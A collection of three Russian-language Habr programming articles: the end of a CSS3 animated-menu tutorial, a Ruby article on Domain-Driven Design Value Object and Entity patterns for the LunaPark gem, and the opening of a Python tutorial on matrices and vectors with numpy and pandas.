left: 0px;
top: 0px;
text-align: center;
transition: all 200ms linear;
}
```
Враппер содержания будет размещен на нижней части элемента:
```
.ca-content{
position: absolute;
left: 0px;
width: 100%;
height: 50%;
top: 50%;
}
```
Основной и вторичный заголовок будут иметь следующий стиль:
```
.ca-main{
font-size: 30px;
color: #005382;
opacity: 0.8;
text-align: center;
transition: all 200ms linear;
}
.ca-sub{
text-align:center;
font-size: 14px;
color: #666;
line-height: 40px;
opacity: 0.8;
transition: all 200ms linear;
}
```
При наведении мы размоем значок, изменим цвет фона и сдвинем элементы содержимого сверху и снизу:
```
.ca-menu li:hover{
background-color: #fff;
}
.ca-menu li:hover .ca-icon{
text-shadow: 0px 0px 20px #c5e4f4;
color: transparent;
animation: moveFromTop 400ms ease;
}
.ca-menu li:hover .ca-main{
color: #000;
animation: moveFromTop 300ms ease;
}
.ca-menu li:hover .ca-sub{
color: #000;
animation: moveFromBottom 500ms ease;
}
```
Размывание значка происходит, когда мы устанавливаем его цвет как прозрачный и создаем ему тень текста с большим количеством размытости.
Анимация будет такой же, как та, которую мы использовали в одном из предыдущих примеров, за исключением перевода значений для анимации moveFromTop. Здесь мы установим translateY до -300%.
##### [Пример 5](http://www.webmasters.by/creative-css3-animation-menus5.html)
В пятом примере мы выдвинем значок слева, название справа и второстепенное название снизу:
```
.ca-menu li:hover{
background:#fff;
}
.ca-menu li:hover .ca-icon{
color: #afa379;
font-size: 90px;
opacity: 0.1;
animation: moveFromLeft 400ms ease;
}
.ca-menu li:hover .ca-main{
color: #afa379;
animation: moveFromRight 300ms ease;
}
.ca-menu li:hover .ca-sub{
color: #000;
animation: moveFromBottom 500ms ease;
}
```
Анимацию moveFromBottom мы уже знаем, давайте взглянем на moveFromLeft, которая передвигает соответствующий элемент влево, установив translateX до -100%, а затем перемещает его обратно в исходное положение:
```
@keyframes moveFromLeft{
from {
transform: translateX(-100%);
}
to {
transform: translateX(0%);
}
}
```
В анимации moveFromRight мы установим translateX (100%) на начальном этапе.
##### [Пример 6](http://www.webmasters.by/creative-css3-animation-menus6.html)
В этом примере мы хотим, чтобы название скользило слева, а также вращалось одновременно:
```
.ca-menu li:hover{
background-color: #000;
}
.ca-menu li:hover .ca-icon{
color: #fff;
font-size: 90px;
}
.ca-menu li:hover .ca-main{
color: #00ccff;
animation: moveFromLeftRotate 300ms ease;
}
.ca-menu li:hover .ca-sub{
color: #fff;
animation: moveFromBottom 500ms ease;
}
```
Анимация moveFromLeftRotate будет перемещать пункт и поворачивать его:
```
@keyframes moveFromLeftRotate{
from {
transform: translateX(-100%) rotate(-90deg);
}
to {
transform: translateX(0%) rotate(0deg);
}
}
```
##### [Пример 7](http://www.webmasters.by/creative-css3-animation-menus7.html)
В этом примере мы установим второстепенное название в нижнюю часть элемента:
```
.ca-sub{
text-align:center;
font-size: 14px;
color: #666;
line-height: 40px;
opacity: 0.8;
position: absolute;
bottom: 0;
width: 100%;
transition: all 200ms linear;
}
```
Мы хотим, чтобы название скользило снизу и также изменить цвет его фона. Иконка будет выезжать снизу, в то время как основное название будет увеличиваться:
```
.ca-menu li:hover{
background-color: #000;
}
.ca-menu li:hover .ca-icon{
color: #ff2020;
animation: moveFromBottom 300ms ease;
}
.ca-menu li:hover .ca-main{
color: #ff2020;
animation: smallToBig 300ms ease;
}
.ca-menu li:hover .ca-sub{
color: #000;
background-color: #ff2020;
animation: moveFromBottom 500ms ease;
}
```
Анимация smallToBig является примером того, как использовать трансформацию:
```
@keyframes smallToBig{
from {
transform: scale(0.1);
}
to {
transform: scale(1);
}
}
```
##### [Пример 8](http://www.webmasters.by/creative-css3-animation-menus8.html)
В этом примере, мы хотим увеличить весь элемент списка при наведении курсора. Мы сделаем это за счет его масштабирования до 1,1.
У нас также есть специальный span с иконкой ID #heart. Этот span будет красным и при наведении мы будем использовать анимацию smallToBig особым образом: мы будем бесконечно чередовать анимацию, создавая эффект бьющегося сердца.
```
.ca-menu li:hover{
background-color: #000;
z-index:999;
transform: scale(1.1);
}
.ca-menu li:hover .ca-icon{
color: #ccff00;
font-size: 90px;
opacity:0.3;
}
.ca-menu li:hover .ca-icon#heart{
animation: smallToBig 900ms alternate infinite ease;
}
.ca-menu li:hover .ca-main{
color: #ccff00;
animation: smallToBig 300ms ease;
}
.ca-menu li:hover .ca-sub{
color: #ccff00;
animation: moveFromBottom 500ms ease;
}
```
##### [Пример 9](http://www.webmasters.by/creative-css3-animation-menus9.html)
Последние два примера будут в кругах, так что мы изменим стиль для элементов списка:
```
.ca-menu li{
width: 230px;
height: 230px;
border: 10px solid #f6f6f6;
overflow: hidden;
position: relative;
float:left;
background: #fff;
margin-right: 4px;
box-shadow: 1px 1px 2px rgba(0,0,0,0.2);
border-radius: 125px;
transition: all 400ms linear;
}
```
Для того чтобы создать круг нам нужно установить border-radius до половины внешней ширины/высоты элемента.
Мы будем делать следующее при наведении курсора:
```
.ca-menu li:hover{
background: #f7f7f7;
border-color: #fff;
transform: rotate(360deg);
}
.ca-menu li:hover .ca-icon{
color: #555;
font-size: 60px;
}
.ca-menu li:hover .ca-main{
display: none;
}
.ca-menu li:hover .ca-sub{
opacity: 0.8;
}
```
Пункт будет поворачиваться на 360 градусов и основное название исчезнет, позволяя вторичному названию появится (его прозрачность было первоначально установлено в 0).
##### [Пример 10](http://www.webmasters.by/creative-css3-animation-menus10.html)
В последнем примере, элементы списка будут иметь левое поле -48px. Это позволит сделать перекрытия. Затем при наведении, мы будем масштабировать их и повышать z-индекс, так что активный пункт будет сверху:
```
.ca-menu li:hover{
border-color: #333;
z-index: 999;
transform: scale(1.1);
}
.ca-menu li:hover .ca-icon{
color: #000;
font-size: 60px;
text-shadow: 0px 0px 1px #000;
animation: moveFromBottom 300ms ease;
}
.ca-menu li:hover .ca-main{
color: #000;
animation: moveFromBottom 500ms ease;
}
```
И вот и всё! Надеюсь, вам понравилось эти маленькие эксперименты и найдете их полезными!
*Пожалуйста, обратите внимание, что эта анимация и переходы будут работать только в последних версиях действительно современных веб-браузеров, такие как Google Chrome, Apple Safari, Opera и Mozilla Firefox.*
[Скачать файлы с примерами.](http://www.webmasters.by/images/articles/css3-animation-menu/CreativeCSS3AnimationMenus.zip) | https://habr.com/ru/post/131558/ | null | ru | null |
# Поваренная книга разработчика: DDD-рецепты (4-я часть, Структуры)
Введение
========
Итак, мы уже определились с [областью применения](/post/426663/), [методологией](/post/428209/) и [архитектурой](/post/429750/). Перейдем от теории к практике, к написанию кода. Хотелось бы начать с шаблонов проектирования, которые описывают бизнес логику — *Service* и *Interactor*. Но прежде чем приступить к ним, изучим структурные паттерны — *ValueObject* и *Entity*. Разрабатывать мы будем на языке *ruby*. В дальнейших статьях разберем все паттерны, необходимые для разработки с использованием [Вариативной архитектуры](https://habr.com/post/429750/#variativnaya-arhitektura). Все наработки, являющиеся приложениями к данному циклу статей, соберем в отдельный фреймворк.
И мы уже подобрали подходящее название — **LunaPark**.
Текущие наработки [выложенны на Github](https://github.com/am-team/luna_park).
Разобрав все шаблоны, соберем один полноценный микросервис.
Так исторически сложилось
=========================
Была необходимость в рефакторинге сложного корпоративного приложения, написанного на Ruby on Rails. Была готовая команда ruby-разработчиков. Методология Domain Driven Development прекрасно подходила для этих задач, но готового решения на используемом языке не было. Не смотря на то, что выбор языка, в основном, был обусловлен нашей специализацией, он оказался достаточно удачным. Среди всех языков, что принято использовать для web-приложений, ruby, на мой взгляд, является самым выразительным. И поэтому больше других подходит для моделирования реальных объектов. Это не только мое мнение.
> That is the Java world. Then you have the new-comers like Ruby. Ruby has a very expressive syntax, and at this basic level it should be a very good language for DDD (although I haven't heard of much actual use of it in those sorts of applications yet). Rails has generated a lot of excitement because it finally seems to make creation of Web UIs as easy as UIs were back in the early 1990s, before the Web. Right now, this capability has mostly been applied to building some of the vast number of Web applications which don't have much domain richness behind them, since even these have been painfully difficult in the past. But my hope is that, as the UI implementation part of the problem is reduced, that people will see this as an opportunity to focus more of their attention on the domain. If Ruby usage ever starts going in that direction, I think it could provide an excellent platform for DDD. (A few infrastructure pieces would probably have to be filled in.)
>
>
>
> Eric Evans 2006
К сожалению, за прошедшие 13 лет ничего особо не изменилось. В интернете можно найти попытки приспособить для этого Rails, но все они выглядят ужасно. Фреймворк Rails тяжелый, медленный и не соответствует принципам SOLID. Смотреть без слез, как кто-то пытается изобразить на основе *AсtiveRecord* реализацию паттерна *Репозиторий*, очень тяжело. Мы решили взять на вооружение какой-нибудь микрофреймворк и доработать его до наших потребностей. Попробовали [Grape](https://github.com/ruby-grape/grape), идея с авто-документированием показалась удачной, но в остальном он был заброшенным и мы быстро отказались от идеи его использования. И почти сразу стали использовать другое решение — [Sinatra](http://sinatrarb.com). Мы до сих пор продолжаем его использовать для REST *Контроллеров* и *Эндпоинтов*.
**REST ?**Если вы разрабатывали web-приложения, то уже имеете представление о технологии. У нее есть свои плюсы и минусы, полное перечисление которых выходит за рамки данной статьи. Но для нас, как разработчиков корпоративных приложений, самым главным недостатком будет то, что REST (это понятно даже из названия) отражает не процесс, а его состояние. А преимуществом будет его понятность — технология ясна как back-end разработчикам, так и разработчикам front-end'a.
Но может тогда не ориентироваться на REST, а реализовать свое решение http + json? Если даже вам удасться разработать свой сервисный API, то предоставляя его описание третьим лицам вы получите много вопросов. Гораздо больше, чем если вы предоставите привычный REST.
Будем считать использование REST компромиссным решением. Мы используем JSON для лаконичности и [jsonapi](https://jsonapi.org) стандарт, чтобы не тратить время разработчиков на священные войны по поводу формата запросов.
В дальнейшем, когда мы будем разбирать *Endpoint*, мы увидим, что для того, чтобы избавится от rest, достаточно переписать всего один класс. Так что REST не должен вообще беспокоить, если остались сомнения на его счет.
В ходе написания нескольких микросервисов у нас появились наработки — набор абстрактных классов. Каждый такой класс можно написать за пол часа, его код легко понять, если знать для чего этот код предназначен.
Тут и возникли основные трудности. Новые сотрудники, не имевшие дело с практиками DDD и чистой архитектурой, не могли понять код и его предназначение. Если бы я сам увидел этот код впервые до того как прочитал Эванса, я бы воспринял его как legacy, over-engineering.
Чтобы побороть это препятствие было принято решение написать документацию (guideline), описывающую философию используемых подходов. Наброски этой документации показались удачными и было решено выложить их на Хабре. Абстрактные классы, которые повторялись из проекта в проект, было решено вынести в отдельный gem.
Философия
=========
Если вспомнить какой-нибудь классический фильм про боевые искусства, то там будет крутой парень, который очень ловко обращается с шестом. Шест — это по сути палка, очень примитивный инструмент, один из первых, который попал человеку в руки. Но в руках мастера он становится грозным оружием.
Можно потратить время на создание пистолета, который не стреляет тебе в ногу, а можно потратить время на обучение технике стрельбы. Мы выделили 4 основных принципа:
* Нужно делать сложные вещи простыми.
* Знания важнее технологии. Документация понятнее человеку чем код, не следует подменять одно другим.
* Прагматичность важнее догматизма. Стандарты должны подсказывать путь, а не устанавливать ограничительные рамки.
* Структурность в архитектуре, гибкость в выборе решений.
Схожую философию можно проследить например у ОС ArchLinux — [The Arch Way](https://wiki.archlinux.org/index.php/The_Arch_Way_(%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9)). На моем ноутбуке Linux долго не приживался, рано или поздно он ломался и мне постоянно приходилось его переустанавливать. Это вызывало ряд проблем, иногда серьезных вроде срыва deadline по работе. Но потратив один раз 2-3 дня на установку Arch я разобрался с тем как моя ОС работает. После этого она стала работать стабильнее, без сбоев. Мои заметки помогли мне устанавливать ее на новые ПК за пару часов. А обильная документация помогала мне решать новые задачи.
Фреймворк имеет абсолютно высокоуровневый характер. Классы, которые его описывают, отвечают за структуру приложения. Для взаимодействия с базами данных, реализации http протокола и других низкоуровневых вещей используются сторонние решения. Нам хотелось бы, чтобы программист при возникновении вопроса мог подсмотреть в код и понять как тот или иной класс работает, а документация позволила бы понять как ими управлять. Понимание устройства двигателя не позволит вам водить автомобиль.
Фреймворк
=========
Сложно назвать LunaPark фреймворком в привычном смысле. Frame — рамка, Work — работа. Мы же призываем не ограничивать себя рамками. Единственная рамка, которую мы декларируем, это та, которая подсказывает класс, в котором должна быть описана та или иная логика. Это скорее набор инструментов с объемной инструкцией к ним.
Каждый класс — абстрактный и имеет три уровня:
```
module LunaPark # Фреймворк
module Forms # Паттерн
class Single # Реализация/вариант
end
end
end
```
Если вы хотите реализовать форму, которая создает один элемент, вы наследуетесь от данного класса:
```
module Forms
class Create < LunaPark::Forms::Single
```
Если несколько элементов, воспользуемся другой *Реализацией*.
```
module Forms
class Create < LunaPark::Forms::Multiple
```
На данный момент не все наработки приведены в идеальный порядок и gem находится в состоянии альфа-версии. Мы будем приводить его поэтапно, согласованно с выходом статей. Т.е. если вы видите статью про `ValueObject` и `Entity`, то эти два шаблона уже реализованы. К окончанию цикла все они будут пригодны к использованию на проекте. Поскольку сам по себе фреймворк малополезен без связки с sinatra \ roda, будет сделан отдельный репозиторий, который покажет как все "прикрутить" для быстрого старта вашего проекта.
Фреймворк является прежде всего приложением к документации. Не стоит воспринимать данные статьи как документацию к фреймворку.
Итак, перейдем к делу.
Объект-Значение (Value)
=======================
> — Какого роста твоя подруга?
>
> — 151
>
> — Ты стал встречаться со статуей свободы?
Примерно такой разговор мог бы произойти в штате Индиана. Рост человека это не просто число, но еще и единица измерения. Не всегда атрибуты объекта можно описать только примитивами (Integer, String, Boolean и т.п.), иногда требуются их комбинации:
* Деньги это не просто число, это число (сумма) + валюта.
* Дата состоит из числа, месяца и года.
* Чтобы измерить вес нам недостаточно одного числа, требуется еще и единица измерения.
* Номер паспорта состоит из серии и, собственно, из номера.
С другой стороны это не всегда комбинация, возможно это некое расширение примитива.
Телефонный номер зачастую воспринимается как число. С другой стороны, вряд ли у него должен быть метод сложения или деления. Возможно, есть метод, который будет выдавать код страны и метод, определяющий код города. Возможно, будет некий декоративный метод, который представит его не просто строкой чисел `79001231212`, а читаемой строкой: `7-900-123-12-12`.
**а может в декоратор?**Если исходить из догм, то бесспорно — да. Если подходить к этой дилемме со стороны здравого смысла, то когда мы решим позвонить по этому номеру, то передадим телефону сам объект:
```
phone.call Values::PhoneNumber.new(79001231212)
```
А если мы решили его представить в виде строки, то это явно сделано для человека. Так почему бы нам не сделать эту строку для человека сразу читаемой?
```
Values::PhoneNumber.new(79001231212).to_s
```
Представим, что мы создаем сайт онлайн-казино "Три топора" и реализуем карточные игры. Нам понадобится класс 'игральная карта'.
```
module Values
class PlayingCard < Lunapark::Values::Compound
attr_reader :suit, :rank
end
end
```
Итак, у нашего класса есть два атрибута только для чтения:
* suit — масть карты
* rank — достоинство карты
Эти атрибуты задаются только при создании карты и не могут изменятся при ее использовании. Вы конечно можете взять игральную карту и перечеркнуть ~~8~~, написать Q, но это недопустимо. В приличном обществе вас, скорее всего, пристрелят. Невозможность менять атрибуты после создания объекта определяет первое свойство *Объекта-значения* — иммутабельность.
Вторым важным свойством *Объекта-Значения* будет то, как мы их сравниваем.
```
module Values
RSpec.describe PlayingCard do
let(:card) { described_class.new suit: :clubs, rank: 10 }
let(:other) { described_class.new suit: :clubs, rank: 10 }
it 'should be eql' do
expect(card).to eq other
end
end
end
```
Такой тест не пройдет, так как они будут сравниваться по адресу. Чтобы тест прошел, мы должны сравнивать *Value-Obects* по значению, для этого допишем метод сравнения:
```
def ==(other)
suit == other.suit &&
rank == other.rank
end
```
Теперь наш тест пройдет. Мы также можем дописать методы, которые отвечают за сравнение, но как нам сравнить 10 и K? Как вы уже, наверное, догадались, мы тоже их представим в виде *Объектов-Значений*. Ок, значит теперь мы должны будем инициировать десятку трефа так:
```
ten = Values::Rank.new('10')
clubs = Values::Suits.new(:clubs)
ten_clubs = Values::PlayingCards.new(rank: ten, clubs: clubs)
```
Три строчки это достаточно много для ruby. Для того, чтобы обойти это ограничение, мы введем третье свойство *Объекта-Значения* — оборачиваемость. Пусть у нас появится специальный метод класса `.wrap`, который может принимать значения различного типа и преобразовывать их в нужный.
```
class PlayingCard < Lunapark::Values::Compound
def self.wrap(obj)
case obj.is_a? self.class # Если мы получили объект класса PlayingCard
obj # то мы его и вернем
case obj.is_a? Hash # Если мы получили хэш, то создадим на его основе
new(obj) # Новую игральную карту
case obj.is_a String # Если мы получили строку, то последний символ будет
new rank: obj[0..-2], suit:[-1] # мастью, остальные - достоинством карты.
else # если тип не совпадает с ожидаемым
raise ArgumentError # выдаем ошибку.
end
end
def initialize(suit:, rank:) # Еще модифицируем инициализатор класса
@suit = Suit.wrap(suit) # Это позволит нам оборачивать значения
@rank = Rank.wrap(rank)
end
end
```
Такой подход дает большое преимущество:
```
ten = Values::Rank.new('10')
clubs = Values::Suits.new(:clubs)
from_values = Values::PlayingCard.wrap rank: ten, suit: clubs
from_hash = Values::PlayingCard.wrap rank: '10', suit: :clubs
from_obj = Values::PlayingCard.wrap from_values
from_str = Values::PlayingCard.wrap '10C' # тут хотелось бы использовать симол треф из utf кодировки, но хабр, их обрезает.
```
Все эти карты будут равны между собой. Если метод `wrap` разрастается хорошей практикой, будет вынесение его в отдельный класс. С точки зрения догматического подхода отдельный класс так же будет обязательным.
Хм, а как насчет места в колоде? Как узнать, является ли данная карта козырем? Это не игральная карта. Это *Значение* игральной карты. Это именно та надпись 10, которую вы ведите на углу картона.
К *Объекту-Значению* нужно относится также, как и к примитиву, который почему-то не реализовали в ruby. Отсюда возникает последнее свойство — *Объект-Значение* не привязан ни к какому домену.
Рекомендации
------------
> Среди всего многообразия методов и инструментов, используемых в каждый момент каждого процесса, всегда есть один метод и инструмент, который работает быстрее и лучше остальных.
>
>
>
> [Фредерик Тейлор](https://ru.wikipedia.org/wiki/%D0%A4%D1%80%D0%B5%D0%B4%D0%B5%D1%80%D0%B8%D0%BA_%D0%A2%D0%B5%D0%B9%D0%BB%D0%BE%D1%80) 1914
##### Арифметические операции должны возвращать новый объект
```
# GOOD
class Money < LunaPark::Values::Compound
def +(other)
other = self.class.wrap(other)
raise ArgumentError unless same_currency? other
self.class.new(
amount: amount + other.amount,
currency: currency
)
end
end
```
##### Атрибуты *Объекта-Значения* могу быть только примитивами или другими *Объектами-значения*
```
# GOOD
class Weight < LunaPark::Values::Compound
def intialize(value:, unit:)
@value = value
@unit = Unit.wrap(unit)
end
end
# BAD
class PlaingCard < LunaPark::Value
def initialize(rank:, suit:, deck:)
...
@deck = Entity::Deck.wrap(deck) # зависимость от сущности
end
end
```
##### Простые операции держите внутри методов класса
```
# GOOD
class Weight < LunaPark::Values::Compound
def >(other)
value > other.convert_to(unit).value
end
end
```
##### Если операция "конвертация" большая, то возможно есть смысл вынести ее в отдельный класс
```
# UGLY
class Weight < LunaPark::Values::Compound
def convert_to(unit)
unit = Unit.wrap(unit)
case { self.unit.to_sym => unit.to_sym }
when { :kg => :ft }
Weight.new(value: 2.2046 * value, unit.to_sym)
when
# ...
end
end
end
# GOOD
#./lib/values/weight/converter.rb
class Weight
class Converter < LunaPark::Services::Simple
def initialize(weight, to:)
...
end
end
end
#./lib/values/weight.rb
class Weight < LunaPark::Values::Compound
def convert_to(unit)
Converter.call! self, to: unit
end
end
```
Такое вынесение логики в отдельный *Сервис* возможно **только** при условии того, что *Сервис* изолирован: он не использует данные ни с каких внешних источников. Этот сервис должен быть ограничен контекстом самого *Объекта-Значения*
##### Объект значение не может ничего знать о доменной логике
Предположим, что мы пишем интернет магазин, и у нас есть рейтинг товаров. Чтобы его получить, необходимо сделать запрос в БД через *Репозиторий*.
```
# DEADLY BAD
class Rate < LunaPark::Values::Single
def top?(10)
Repository::Rates.top(first: 10).include? self
end
end
```
Сущность (Entity)
=================
Класс *Сущность* отвечает за какой-то реальный объект. Это может быть договор, стул, агент недвижимости, пирог, утюг, кот, холодильник — всё что угодно. Любой объект, который может вам понадобиться для моделирования ваших бизнес-процессов, — это *Сущность*.
Понятие *Сущности* по Эвансу и по Мартину отличаются. С точки зрения Эванса, сущность — это объект, характеризующийся чем-то, что подчеркивает ее индивидуальность.
**Сущность по Звансу**
> Если объект определяется уникальным индивидуальным существованием, а не набором атрибутов, это свойство следует с читать главным при определении объекта в модели. Определение класса должно быть простым и строиться вокруг непрерывности и уникальности цикла существования объекта. Найдите способ различать каждый объект независимо от его формы или истории существования. С особым вниманием отнеситесь к техническим требованиям, связанным с сопоставлением объектов по их атрибутам. Задайте операцию, которая бы обязательно давала неповторимый результат для каждого такого объекта, — возможно, для этого с объектом придется ассоциировать некий символ с гарантированной уникальностью. Такое средство идентификации может иметь внешнее происхождение, но это может быть и произвольный идентификатор, сгенерированный системой для ее собственного удобства. Однако такое средство должно соответствовать правилам различения объектов в модели. В модели должно даваться точное определение, что такое одинаковые объекты.
С точки зрения Мартина, *Entity* — это не объект, а слой. Этот слой объединят как объект, так и бизнес-логику по его изменению.
**Разъеснение от Мартина**
> My view of Entities is that they contain Application Independent Business rules. They are not simply data objects. They may hold references to data objects; but their purpose is to implement business rule methods that can be used by many different applications.
>
>
>
> Gateways return Entities. The implementation (below the line) fetches the data from the database, and uses it to construct data structures which are then passed to the Entities. This can be done either with containment or inheritance.
>
>
>
> For example:
>
>
>
> public class MyEntity { private MyDataStructure data;}
>
>
>
> or
>
>
>
> public class MyEntity extends MyDataStructure {...}
>
>
>
> And remember, we are all pirates by nature; and the rules I'm talking about here are really more like guidelines...
Мы под *Сущностью* будем иметь в виду только структуру. В простейшем варианте класс *Entity* будет выглядеть так:
```
module Entities
class MeatBag < LunaPark::Entities::Simple
attr_accessor :id, :name, :hegiht, :weight, :birthday
end
end
```
Мутабельный объект, описывающий структуры бизнес модели, может содержать примитивные типы и *Значения*.
Класс `LunaPark::Entites::Simple` невероятно прост, вы можете посмотреть его код, он дает нам только одну вещь — легкую инициализацию.
**LunaPark::Entites::Simple**
```
module LunaPark
module Entities
class Simple
def initialize(params)
set_attributes params
end
private
def set_attributes(hash)
hash.each { |k, v| send(:"#{k}=", v) }
end
end
end
end
```
Вы можете написать:
```
john_doe = Entity::MeatBag.new(
id: 42,
name: 'John Doe',
height: '180cm',
weight: '80kg',
birthday: '01-01-1970'
)
```
Как вы уже наверное догадались вес, рост и дату рождения мы хотим обернуть в *Объекты-значения*.
```
module Entities
class MeatBag < LunaPark::Entites::Simple
attr_accessor :id, :name
attr_reader :heiht, :wight, :birthday
def height=(height)
@height = Values::Height.wrap(height)
end
def weight=(height)
@height = Values::Weight.wrap(weight)
end
def birthday=(day)
@birthday = Date.parse(day)
end
end
end
```
Чтобы не тратить время на подобные конструкторы, у нас подготовлена более сложная *Реализация* [`LunaPark::Entites::Nested`](https://github.com/am-team/luna_park/blob/master/lib/luna_park/entities/nested.rb):
```
module Entities
class MeatBag < LunaPark::Entities::Nested
attr :id
attr :name
attr :heiht, Values::Height, :wrap
attr :weight, Values::Weight, :wrap
attr :birthday, Values::Date, :parse
end
end
```
Как можно догадаться из названия, данная *Реализация* позволяет делать древовидные структуры.
Давайте удовлетворим мою страсть к крупногабаритной бытовой технике. В прошлой статье мы проводили аналогию между ["крутилкой" стиральной машины и архитектурой](https://habr.com/post/429750). А сейчас мы опишем такой важный бизнес-объект как холодильник:
```
class Refregerator < LunaPark::Entites::Nested
attr :id,
attr :brand
attr :title
namespace :fridge do
namespace :door do
attr :upper, Shelf, :wrap
attr :lower, Shelf, :wrap
end
attr :upper, Shelf, :wrap
attr :lower, Shelf, :wrap
end
namespace :main do
namespace :door do
attr :first, Shelf, :wrap
attr :second, Shelf, :wrap
attr :third, Shelf, :wrap
end
namespace :boxes do
attr :left, Box, :wrap
attr :right, Box, :wrap
end
attr :first, Shelf, :wrap
attr :second, Shelf, :wrap
attr :third, Shelf, :wrap
attr :fourth, Shelf, :wrap
end
attr :last_open_at, comparable: false
end
```
Такой подход избавляет нас от создания ненужных *Сущностей*, таких как дверь от холодильника. Без холодильника она должна быть частью холодильника. Такой подход удобен для составления сравнительно больших документов, например заявка на покупку страховки.
У класса `LunaPark::Entites::Nested` есть еще 2 важных свойства:
Сравнимость:
```
module Entites
class User < LunaPark::Entites::Nested
attr :email
attr :registred_at
end
end
u1 = Entites::User.new(email: 'john.doe@mail.com', registred_at: Time.now)
u2 = Entites::User.new(email: 'john.doe@mail.com', registred_at: Time.now)
u1 == u2 # => false
```
Два указанных пользователя не эквивалентны, т.к. они были созданы в разное время и поэтому значение атрибута `registred_at` будет отличаться. Но если мы вычеркнем атрибут из списка сравниваемых:
```
module Entites
class User < LunaPark::Entites::Nested
attr :email
attr :registred_at, comparable: false
end
end
```
то получим два сопоставимых объекта.
Эта *Реализация* так же обладает свойством оборачиваемости — мы можем использовать метод класса`wrap
```
Entites::User.wrap(email: 'john.doe@mail.com', registred_at: Time.now)
```
Вы можете использовать в качестве *Entity* — Hash, OpenStruct или любой понравившийся вам gem, который поможет вам реализовать структуру вашей сущности.
*Сущность* — это модель бизнес объекта, оставьте ее простой. Если какое-то свойство не используется вашим бизнесом, не описывайте его.
Изменения сущности
==================
Как вы заметили, класс *Сущность* не имеет никаких методов собственного изменения. Все изменения делаются из вне. *Объект-значения* тоже иммутабелен. Все те функции, которые в нем присутствуют, по большому счету декорируют сущность или создают новые объекты. Сама сущность остается неизменной. Для разработчика Ruby on Rails такой подход будет непривычен. Со стороны может показаться, что мы вообще используем ООП-язык для чего-то другого. Но если присмотреться поглубже — это не так. Разве окно может открыться само по себе? Автомобиль доехать до работы, гостиница забронироваться, милый котик получить нового подписчика? Это все внешние воздействия. Что-то происходит в реальном мире, а мы отражаем это у себя. По каждому запросу мы вносим изменения в свою модель. И тем самым поддерживаем ее в актуальном состоянии, достаточном для наших бизнес задач. Стоит разделять состояние модели и процессы, вызывающие изменения этого состояния. Как это сделать, мы рассмотрим в следующей статье. | https://habr.com/ru/post/435920/ | null | ru | null |
# Python, корреляция и регрессия: часть 3
Предыдущий пост см. [здесь](https://habr.com/ru/post/558084/).
Прежде чем перейти к изучению нормального уравнения, давайте рассмотрим основы матричного и векторного умножения.
Матрицы
-------
Матрица, — это двумерный массив чисел. Размерность матрицы выражается числом строк и столбцов.
Например, *A*— это матрица с четырьмя строками и двумя столбцами:
В математической записи матрица обычно закрепляется за переменной, которая обозначается прописной буквой, чтобы в уравнении отличать ее от других.
Массив numpy можно сконструировать из набора данных при помощи функции pandas `df.values`:
```
def ex_3_16():
'''Конвертирование в массив (матрицу) numpy
таблицы данных роста и веса'''
df = swimmer_data()[['Рост, см', 'Вес']]
return df.values
```
В результате выполнения этого примера получим следующий одномерный массив:
```
array([[166., 68.],
[192., 89.],
[173., 65.],
...,
[188., 79.],
[187., 78.],
[183., 70.]])
```
Можно также воспользоваться функцией из библиотеки numpy `np.array`, которая принимает последовательность скалярных величин либо последовательность последовательностей и, в случае если это возможно, конвертирует их в одномерный массив (в формате `numpy.ndarray`):
```
def ex_3_17():
'''Конвертирование в массив (матрицу) numpy
данных числового ряда с данными о росте'''
return swimmer_data()['Рост, см'].head(20).values # первые 20
```
В результате получим следующий одномерный массив:
```
array([166., 192., 173., 179., 201., 190., 175., 160., 202., 173., 175.,
205., 185., 175., 185., 170., 165., 179., 165., 170.])
```
Матрицы часто могут вырастать до больших размеров, поэтому, чтобы не переполнять информацией окно интерпретатора, можно ограничить число выводимых элементов, воспользовавшись функциями pandas head и `tail` либо функционалом индексации библиотеки numpy (`result_array[:5]`); в обоих случаях будет выведено заданное число элементов.
Библиотека pandas взаимодействует с функциями библиотеки numpy напрямую, получая выгоду от векторизованных операций, таких как log, exp, sqrt и др., на массивах/матрицах. С другой стороны, различные функции numpy могут без проблем использоваться с кадрами данных DataFrame (и рядами Series) библиотеки pandas при условии, что содержащиеся внутри данные являются числовыми. Например, np.exp(df), np.asarray(df), df.T.dot(df)).
Размерность
-----------
Элемент в *i*-ой строке и *j*-ом столбце обозначается как *A*ij. И поэтому в приведенном выше примере индексация будет такой:
Одним из фундаментальных атрибутов матрицы является ее размерность. Библиотеки pandas и numpy предоставляют функцию `shape`, которая в обоих случаях возвращает кортеж с размерностями массива: число строк, столбцов и других размерностей.
Векторы
-------
Векторы — это частный случай матрицы, которая содержит всего один столбец. Число строк в векторе называется его размерностью:
Здесь *y*— это 4-мерный вектор; его *i*-й элемент обозначается как *y*i. Векторы в математической литературе индексируются, начиная с единицы, если не указано иное.
Так, обозначает первый элемент, не второй. В уравнениях векторы в основном закрепляются за переменными, обозначаемыми строчными буквами.
Программный интерфейс библиотеки numpy в отличие от библиотеки pandas (где Series и DataFrame могут служить соответственно для представления векторов и матриц) не делает различие между векторами и одностолбцовыми матрицами, и мы можем создать вектор, передав в функцию np.array единственную последовательность.
Сборка
------
Как мы уже убедились, матрицы можно собирать из последовательностей Python и наборов данных pandas. Кроме того, матрицы можно собирать из более мелких конструктивных составляющих, при условии совпадения размерностей, надстраивая столбцы бок о бок и добавляя строки. В простейшем случае мы можем добавить столбец единиц в начало или конец таблицы и затем преобразовать в матрицу следующим образом:
```
'''Добавление столбца в таблицу данных (массив)'''
df = pd.DataFrame({'x':[2, 3, 6, 7],'y':[8, 7, 4, 3]})
df['константа'] = 1
df
```
```
x y константа
0 2 8 1
1 3 7 1
2 6 4 1
3 7 3 1
```
На самом деле, нам потребуется это делать для члена смещения. Напомним, что *β*1выражает константное значение, поэтому мы должны обеспечить, чтобы соответствующий *x*1тоже был константой. Без смещения переменная *y*равнялось бы нулю, в случае когда значения *x* равны нулю.
Сложение и скалярное произведение
---------------------------------
Скаляр — это название для обыкновенного числа. Когда мы прибавляем скаляр в матрицу, мы на самом деле прибавляем это число отдельно в каждый элемент матрицы.
Матрично-матричное сложение работает путем сложения элементов в каждой соответствующей позиции. Складывать матрицы между собой можно только с одинаковыми размерностями. Если матрицы имеют одинаковые размерности, то о них говорят, что они совместимые.
Имплементация на Python с использованием pandas:
```
df1 = pd.DataFrame([[1,0],[2,5],[3,1]])
df2 = pd.DataFrame([[4,0.5],[2,5],[0,1]])
df1 + df2
```
```
0 1
0 5 0.5
1 4 10.0
2 3 2.0
```
